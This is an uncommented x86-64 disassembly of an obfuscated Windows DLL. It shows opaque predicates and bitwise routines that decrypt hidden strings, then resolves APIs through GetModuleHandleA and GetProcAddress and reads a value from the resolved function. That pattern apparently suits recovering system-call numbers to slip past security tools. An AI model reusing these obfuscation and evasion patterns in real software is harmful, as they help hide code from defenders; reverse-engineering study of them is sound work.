lea rdi, [rbp + 0x200]
mov rcx, rbx
mov rdx, rdi
call fcn.180004fa0
mov rcx, rbx
mov rdx, rdi
call fcn.180004fa0
cmp dword [0x180342128], 0xa
jl 0x1800e3745
mov eax, dword [0x18034212c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800e3715
lea rcx, [0x180340018]
lea rdx, [rbp + 0x200]
call fcn.180004fa0
cmp dword [0x180342128], 0xa
jl 0x1800e37b0
mov eax, dword [0x18034212c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800e37b0
lea rbx, [0x180340018]
lea rdi, [rbp + 0x200]
mov rcx, rbx
mov rdx, rdi
call fcn.180004fa0
mov rcx, rbx
mov rdx, rdi
call fcn.180004fa0
cmp dword [0x180342128], 0xa
jl 0x1800e37b0
mov eax, dword [0x18034212c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800e3780
lea rcx, [rbp + 0x200]
mov edx, 6
call fcn.1800e1f60
cmp dword [0x180342a1c], 0xa
jl 0x1800e37db
mov eax, dword [0x180342a18]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800e380b
lea rbx, [0x180340018]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.1800e8920
cmp dword [0x180342a1c], 0xa
jl 0x1800e3820
mov eax, dword [0x180342a18]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800e3820
lea rcx, [0x180340018]
lea rdx, [rbp + 0x200]
call fcn.1800e8920
jmp 0x1800e37db
lea rcx, [rbp + 0x200]
call section..text
mov edx, dword [0x180342b8c]
mov ecx, dword [0x180342b90]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e384c
test eax, eax
je 0x1800e384c
jmp 0x1800e384a
cmp ecx, 0xa
jl 0x1800e3857
test eax, eax
je 0x1800e3857
jmp 0x1800e3855
mov dword [rbp + 0x200], 0xc1c0cf84
mov byte [rbp + 0x204], 0
movq xmm0, qword [rbp + 0x200]
pxor xmm1, xmm1
punpcklbw xmm0, xmm1
punpcklwd xmm0, xmm1
movdqa xmm1, xmmword [0x18010ae90]
pand xmm1, xmm0
por xmm1, xmmword [0x180188360]
movdqa xmm2, xmmword [0x18010aeb0]
pand xmm2, xmm0
pxor xmm2, xmm1
movdqa xmm1, xmmword [str.xxxx]
movdqa xmm3, xmm2
pand xmm3, xmm1
pxor xmm3, xmmword [0x18010b310]
pxor xmm2, xmmword [0x180188380]
por xmm2, xmm3
pand xmm0, xmm1
movdqa xmm1, xmm2
pandn xmm1, xmm0
pxor xmm0, xmm2
pxor xmm0, xmm1
pand xmm0, xmmword [0x18010af60]
packuswb xmm0, xmm0
packuswb xmm0, xmm0
pxor xmm0, xmmword [0x180188390]
movd dword [rbp + 0x200], xmm0
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.1800d8510
mov eax, dword [0x180342124]
lea edx, [rax - 1]
imul edx, eax
mov rax, qword [0x180340030]
cmp dword [0x180342120], 9
setg cl
and cl, dl
jmp 0x1800e392c
test cl, cl
je 0x1800e393d
cmp rax, 0x10
jb 0x1800e3928
test cl, cl
jne 0x1800e392c
mov rbx, qword [0x180340018]
mov qword [0x180335dd8], rbx
lea rbx, [0x180340038]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.1800d8510
mov eax, dword [0x180342124]
lea edx, [rax - 1]
imul edx, eax
mov rax, qword [0x180340050]
cmp dword [0x180342120], 9
setg cl
and cl, dl
jmp 0x1800e397c
test cl, cl
je 0x1800e398d
cmp rax, 0x10
jb 0x1800e3978
test cl, cl
jne 0x1800e397c
mov rbx, qword [0x180340038]
mov qword [0x180335de0], rbx
mov rdx, qword [0x180335dd8]
mov rcx, rbx
call fcn.1800fb4bc
mov rcx, qword [0x180335dd8]
call fcn.1800d7e20
cmp qword [rbp + 0x178], 0
je 0x1800e2514
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x180342a14]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x180342a10], 0xa
setl dl
test cl, 1
sete al
or al, dl
test al, al
je 0x1800e39e6
movdqa xmm0, xmmword [0x1801888c0]
movdqa xmmword [rbp + 0x200], xmm0
movabs rax, 0xa4aaddf1d6d2d2f6
mov qword [rbp + 0x210], rax
mov word [rbp + 0x218], 0xb7a1
mov byte [rbp + 0x21a], 0
mov r8b, 0xf0
mov r9d, 0x55
xor r10d, r10d
lea edx, [r10 - 0x56]
mov eax, r9d
and eax, 0xd466ea21
lea edi, [r10 + 0x3fffffaa]
and edi, 0x2b9915de
or edi, eax
xor edi, 0x1ca22da8
and edi, edx
and edx, 0x8804c201
mov eax, r9d
and eax, 0x40c00588
or eax, edx
mov edx, eax
xor edx, 0x8804c201
mov ebx, eax
and ebx, 0x844c680
xor eax, 0x8c08589
and eax, edx
and edx, 0xc0800109
or edx, ebx
mov esi, edx
or esi, 0x7912a825
mov ebx, esi
and ebx, 0xa8c66684
lea ecx, [r10 + 0x1aa]
and ecx, 0x108
add ecx, ebx
add ecx, 0x4280002
xor ecx, eax
xor ecx, 0xaac334d4
xor esi, 0xc8c08589
and esi, eax
or esi, ecx
mov eax, edi
xor edx, 0x804c200
mov ebx, edx
and ebx, 0xc8840389
or edx, edi
xor ebx, edi
xor edi, 0x86ed57da
xor eax, 0x7912a825
and eax, esi
not esi
and esi, edi
xor ebx, 0xffff3fff
and ebx, edx
or ebx, eax
or ebx, esi
mov eax, ebx
and eax, 0xb09c5a0c
or eax, 0xf238490
and ebx, 0x4f63a5f3
xor ebx, eax
mov r11d, ebx
xor r11d, 0x9c
xor ebx, 0x63
movzx edx, r8b
mov eax, edx
not eax
mov esi, edx
and esi, 0xffffff89
mov ecx, edx
xor ecx, 0x52
and ecx, edx
mov edi, edx
or edi, 0x373b3876
xor esi, 0x123918d2
and esi, edi
and ecx, 0x76
mov edi, edx
and edi, 0xffffff80
xor edi, esi
xor edi, 0xc0000780
and esi, eax
and esi, 0x80
or esi, edi
and edx, 0x52
or edx, 0x250222a4
xor edx, ecx
xor edx, esi
mov eax, edx
xor eax, 0x3ffffaff
mov ecx, edx
and ecx, 0xb09c5a0c
xor edx, 0x8f63a0f3
and edx, eax
mov eax, ecx
xor eax, edx
xor eax, 0x80000000
xor ecx, 0x80000000
and ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, r11d
and ecx, ebx
or ecx, eax
mov byte [rbp + r10 + 0x200], cl
cmp r10, 0x19
je 0x1800e3ba6
movzx r8d, byte [rbp + r10 + 0x201]
add r10, 1
add r9d, 0xffffffff
jmp 0x1800e3a27
mov byte [rbp + 0x21a], 0
cmp dword [0x180342a34], 0xa
jl 0x1800e3bc9
mov eax, dword [0x180342a30]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800e3bc9
jmp 0x1800e3bc7
movabs rax, 0xddd481c2c1c8dfe4
mov qword [rbp + 0x1f0], rax
mov eax, dword [0x180342098]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x180342094], 9
mov word [rbp + 0x1f8], 0xde
setg r15b
and r15b, cl
xor r10d, r10d
jmp 0x1800e3c18
mov byte [rbp + r10 + 0x1f0], cl
add r10, 1
cmp r10, 9
je 0x1800e3d8d
mov ecx, 0x55
sub ecx, r10d
lea r12d, [r10 - 0x56]
mov r8d, r12d
mov edi, ecx
mov r9d, r12d
mov r11d, ecx
mov esi, r12d
mov ebx, ecx
and ebx, 0x11439bdb
and r12d, 0xeebc6424
or r12d, ebx
xor r12d, 0xf24f65cc
or r12d, ecx
and ecx, 0x808004
lea ebx, [r10 + 0x3ffaa]
and ebx, 0x30243
or ebx, ecx
and r8d, 0x66dfdd2d
and edi, 0x992022d2
or edi, r8d
mov ecx, ebx
xor ecx, 0x30430f43
or r9d, 0x473c70b8
xor edi, 0x21e3ad95
and edi, r9d
mov r8d, edi
and r8d, ecx
xor ebx, 0xcfbcf0bc
and ebx, edi
not edi
and edi, ecx
or edi, ebx
xor edi, r8d
and ebx, ecx
or ebx, edi
and r11d, 0xb548adec
and esi, 0x4ab75213
or esi, r11d
mov ecx, esi
xor ecx, 0x564453fb
xor esi, 0xb548adec
or esi, ecx
and r12d, esi
mov ecx, r12d
and ecx, 0xc3
and r12d, 0x3c
or r12d, 0x80
xor r12d, ecx
mov dil, byte [rbp + r10 + 0x1f0]
movzx ecx, dil
mov edi, ecx
and edi, 0x47
xor edi, 0xb8c38f47
mov esi, ecx
and esi, 0x42
mov eax, ecx
xor eax, 0x44
and eax, edi
and edi, 0x18830c05
or edi, esi
mov esi, edi
xor esi, 0xbd
xor edi, 0xc1
and edi, esi
or eax, edi
and ecx, 0xffffffb8
xor ecx, ebx
xor ecx, eax
xor cl, 0x83
test r15b, r15b
je 0x1800e3c02
movzx esi, cl
mov ecx, esi
and ecx, 0xffffffe8
mov eax, esi
and eax, 0x17
mov edi, ecx
xor edi, 0x4dc9c9f1
mov edx, edi
or edx, 0xa0
or esi, 0x4c
xor esi, edx
and esi, 0xec
xor esi, eax
xor esi, 0x44
xor ecx, 0x1cf301e8
mov edx, ecx
and edx, 0x1c2200a8
and edi, 0xc10141
or edi, edx
or ecx, eax
xor edi, eax
xor edi, 0xfe
and edi, ecx
or edi, esi
xor edi, r12d
xor dil, 0x7f
jmp 0x1800e3ce8
mov byte [rbp + 0x1f9], 0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x200]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [rax + 4]
add eax, 1
mov qword [0x1803407f8], rax
lea rcx, [0x1800dc360]
xor edx, edx
call fcn.1800dc100
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800e2514